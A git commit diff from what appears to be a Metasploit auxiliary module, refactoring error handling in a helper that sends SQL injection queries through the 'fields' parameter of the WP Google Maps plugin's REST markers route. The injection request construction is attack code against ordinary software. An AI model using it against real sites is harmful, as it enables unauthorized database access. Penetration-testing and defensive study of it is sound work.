Remove rescue that is handled in HttpClient mixin

master
Jacob Robles 2019-04-11 06:20:48 -05:00
parent 9385fbc3b7
commit 1b2b752bef
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 11 additions and 18 deletions

View File

@ -37,25 +37,18 @@ class MetasploitModule < Msf::Auxiliary
end
def send_sql_request(sql_query)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'rest_route' => '/wpgmza/v1/markers',
'filter' => '{}',
'fields' => "#{sql_query}-- -",
}
)
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/wp-json/wpgmza/v1/markers/'),
'vars_get' => {
'filter' => '{}',
'fields' => "#{sql_query}-- -",
}
)
return nil if res.nil? || res.code != 200 || res.body.nil?
res.body
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
vprint_error("#{peer} - The host was unreachable!")
return nil
end
return nil if res.nil? || res.code != 200 || res.body.nil?
res.body
end
def check